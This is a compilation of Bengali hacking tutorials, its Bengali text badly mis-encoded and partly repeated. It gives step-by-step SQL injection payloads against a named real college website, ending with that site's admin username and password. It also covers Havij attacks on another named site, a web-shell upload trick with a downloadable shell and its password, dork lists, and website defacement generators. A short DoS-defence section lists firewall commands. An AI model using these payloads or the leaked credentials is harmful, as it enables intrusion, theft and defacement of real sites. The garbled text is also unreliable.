পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
